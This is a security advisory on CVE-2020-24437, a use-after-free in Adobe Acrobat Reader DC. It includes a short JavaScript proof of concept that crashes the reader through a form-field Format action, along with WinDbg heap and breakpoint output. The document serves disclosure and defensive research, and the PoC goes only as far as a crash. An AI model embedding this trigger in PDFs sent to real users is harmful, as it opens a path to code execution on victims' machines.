CVE-2020-24437
A specific JavaScript code embedded in a PDF file can trigger a use-after-free vulnerability when opening a PDF document in Adobe Acrobat Reader DC 2020.012.20043. With careful memory manipulation, this can lead to arbitrary code execution. To trigger this vulnerability, the victim would need to open the malicious file or access a malicious web page.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
Adobe Acrobat Reader 2020.012.20043
Acrobat Reader - https://acrobat.adobe.com/us/en/acrobat/pdf-reader.html
8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-416 - Use After Free
Adobe Acrobat Reader is one of the most popular and feature-rich PDF readers on the market. It has a large user base and is usually a default PDF reader on systems. It also integrates into web browsers as a plugin for rendering PDFs. As such, tricking a user into visiting a malicious web page or sending a specially crafted email attachment can be enough to trigger this vulnerability.
Adobe Acrobat Reader DC supports embedded JavaScript code in the PDF to allow for interactive PDF forms. This gives the potential attacker the ability to precisely control memory layout and poses additional attack surface. Javascript allows manipulation of form fields and other page content in a PDF document.
There exists a vulnerability in a way Adobe Reader is processing Format
event actions attached to form fields.
Following proof of concept code can be used to trigger this vulenrability:
app.activeDocs[0].createTemplate("a");
app.activeDocs[0].getField('txt2').setAction("Format",'app.activeDocs[0].deletePages(2);');
app.activeDocs[0].spawnPageFromTemplate("a");
app.activeDocs[0].spawnPageFromTemplate("a");
app.activeDocs[0].resetForm();
In the above code, a template based on the existing document is created. Then, an event handler is attached to Format
event of a text field present on the page. Further, two additional pages are created based on the template and finally all the forms on the document are reset. Reseting in turn triggers the Format
event and attached code is executed inside the event handler for field txt2
. Inside the event handler, pages are deleted which frees the memory associated with text field object, but a stale reference to an object is kept. Still inside the event handler, this stale reference is reused resulting in a use-after-free condition. This can be observed inside a debugger by placing two breakpoints and adding debug alerts inside the proof of concept code allowing us to easily break the execution right before and after the object in question is freed and reused. Breakpoints inside AcroForm.api
DLL are:
bp AcroForm!DllUnregisterServer+0xd01e0
bp AcroForm!DllUnregisterServer+0xd0255
First breakpoint is hit at the entry point of a function where our object is pointed to by ecx
:
Breakpoint 1 hit
eax=0cbcaca8 ebx=00000000 ecx=3744afa0 edx=00000100 esi=65e56540 edi=3744afa0
eip=65e56540 esp=004fb2f8 ebp=004fb374 iopl=0 nv up ei pl zr na pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000247
AcroForm!DllUnregisterServer+0xd01e0:
65e56540 6a24 push 24h
0:000> dd ecx
3744afa0 662c928c 47936fb0 c0010000 0000001b
3744afb0 43b12ff8 43b12ffc 43b12ffc 00000000
3744afc0 4a48afe8 00000000 00000000 00000000
3744afd0 00000000 43b10fe8 00000000 00000000
3744afe0 662a8638 00000000 00000000 ffffffff
3744aff0 00000000 00000000 00000000 00000000
3744b000 ???????? ???????? ???????? ????????
3744b010 ???????? ???????? ???????? ????????
0:000> !heap -p -a ecx
address 3744afa0 found in
_DPH_HEAP_ROOT @ 671000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
374e05e4: 3744afa0 60 - 3744a000 2000
? AcroForm!DllUnregisterServer+542f2c
6bfbabb0 verifier!AVrfDebugPageHeapAllocate+0x00000240
7765245b ntdll!RtlDebugAllocateHeap+0x00000039
775b6dd9 ntdll!RtlpAllocateHeap+0x000000f9
775b5ec9 ntdll!RtlpAllocateHeapInternal+0x00000179
775b5d3e ntdll!RtlAllocateHeap+0x0000003e
769c1406 ucrtbase!_malloc_base+0x00000026
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.dll -
62e04299 AcroRd32!AcroWinMainSandbox+0x00004c89
65b20db9 AcroForm!PlugInMain+0x00000a39
From the above output, we can see parts of its contents as well as memory allocation information. Continuing execution , until after deletePages
is executed allows us to inspect the memory after the object is freed:
0:000> g
ModLoad: 67ab0000 67b3e000 C:\WINDOWS\SysWOW64\mscms.dll
ModLoad: 685a0000 685ac000 C:\WINDOWS\SysWOW64\ColorAdapterClient.dll
ModLoad: 68530000 6855c000 C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Updater.api
ModLoad: 6d010000 6d04d000 C:\WINDOWS\SysWOW64\edputil.dll
ModLoad: 6cb80000 6cc0b000 C:\Windows\SysWOW64\Windows.StateRepositoryPS.dll
onecoreuap\inetcore\urlmon\zones\zoneidentifier.cxx(359)\urlmon.dll!703A07C9: (caller: 703A0258) ReturnHr(1) tid(1a40) 80070002 The system cannot find the file specified.
ModLoad: 6cb60000 6cb7a000 C:\WINDOWS\SysWOW64\CLDAPI.dll
ModLoad: 68520000 68530000 C:\WINDOWS\SysWOW64\pcacli.dll
ModLoad: 68510000 68520000 C:\WINDOWS\SysWOW64\sfc_os.dll
ModLoad: 761c0000 765eb000 C:\WINDOWS\SysWOW64\SETUPAPI.dll
(a2c.c5c): Break instruction exception - code 80000003 (first chance)
eax=00313000 ebx=00000000 ecx=776142f0 edx=40220080 esi=776142f0 edi=776142f0
eip=775dcbd0 esp=508ffc90 ebp=508ffcbc iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
ntdll!DbgBreakPoint:
775dcbd0 cc int 3
0:016> dd 3744afa0
3744afa0 ???????? ???????? ???????? ????????
3744afb0 ???????? ???????? ???????? ????????
3744afc0 ???????? ???????? ???????? ????????
3744afd0 ???????? ???????? ???????? ????????
3744afe0 ???????? ???????? ???????? ????????
3744aff0 ???????? ???????? ???????? ????????
3744b000 ???????? ???????? ???????? ????????
3744b010 ???????? ???????? ???????? ????????
0:016> !heap -p -a 3744afa0
address 3744afa0 found in
_DPH_HEAP_ROOT @ 671000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
374e05e4: 3744a000 2000
6bfbae02 verifier!AVrfDebugPageHeapFree+0x000000c2
77652c91 ntdll!RtlDebugFreeHeap+0x0000003e
775b3c45 ntdll!RtlpFreeHeap+0x000000d5
775b3812 ntdll!RtlFreeHeap+0x00000222
769bf43b ucrtbase!_free_base+0x0000001b
769bf408 ucrtbase!free+0x00000018
62e07839 AcroRd32!AcroWinMainSandbox+0x00008229
62e3a416 AcroRd32!CTJPEGLibInit+0x000122a6
62e3a45c AcroRd32!CTJPEGLibInit+0x000122ec
62ead21c AcroRd32!DllCanUnloadNow+0x000592ec
62e78167 AcroRd32!DllCanUnloadNow+0x00024237
62e780e8 AcroRd32!DllCanUnloadNow+0x000241b8
62eaac09 AcroRd32!DllCanUnloadNow+0x00056cd9
62eaabcd AcroRd32!DllCanUnloadNow+0x00056c9d
In the above output, we break Javascript execution while stopped on an app.alert
window called from inside the Format
action handler. We inspect the same piece of memory and we can see that it has been freed. Simply continuing execution brings us to one point of reuse which leads to a crash:
0:016> g
Breakpoint 0 hit
eax=3fb16fe8 ebx=00000000 ecx=65e7a9db edx=01000000 esi=3fb16fe8 edi=3744afa0
eip=65e565b5 esp=004fb2b4 ebp=004fb2f4 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
AcroForm!DllUnregisterServer+0xd0255:
65e565b5 8b4f14 mov ecx,dword ptr [edi+14h] ds:002b:3744afb4=????????
0:000> dd edi
3744afa0 ???????? ???????? ???????? ????????
3744afb0 ???????? ???????? ???????? ????????
3744afc0 ???????? ???????? ???????? ????????
3744afd0 ???????? ???????? ???????? ????????
3744afe0 ???????? ???????? ???????? ????????
3744aff0 ???????? ???????? ???????? ????????
3744b000 ???????? ???????? ???????? ????????
3744b010 ???????? ???????? ???????? ????????
0:000> !heap -p -a edi
address 3744afa0 found in
_DPH_HEAP_ROOT @ 671000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
374e05e4: 3744a000 2000
6bfbae02 verifier!AVrfDebugPageHeapFree+0x000000c2
77652c91 ntdll!RtlDebugFreeHeap+0x0000003e
775b3c45 ntdll!RtlpFreeHeap+0x000000d5
775b3812 ntdll!RtlFreeHeap+0x00000222
769bf43b ucrtbase!_free_base+0x0000001b
769bf408 ucrtbase!free+0x00000018
62e07839 AcroRd32!AcroWinMainSandbox+0x00008229
62e3a416 AcroRd32!CTJPEGLibInit+0x000122a6
62e3a45c AcroRd32!CTJPEGLibInit+0x000122ec
62ead21c AcroRd32!DllCanUnloadNow+0x000592ec
Our second breakpoint is at the crashing instruction where we can see an attempt to access the memory of the previously freed object. First, this demonstrates that we control the point at which the object is freed. Second, that we can execute javascript code after the object is freed, allowing us to take control of the freed memory. And third, we have further control over how the object is reused. Above crash can be observed with PageHeap enabled.
With careful memory manipulation between the time of free and reuse, control over reused memory can be gained which can lead to arbitrary code execution.
2020-09-24 - Vendor Disclosure
2020-11-05 - Public Release
Discovered by Aleksandar Nikolic of Cisco Talos.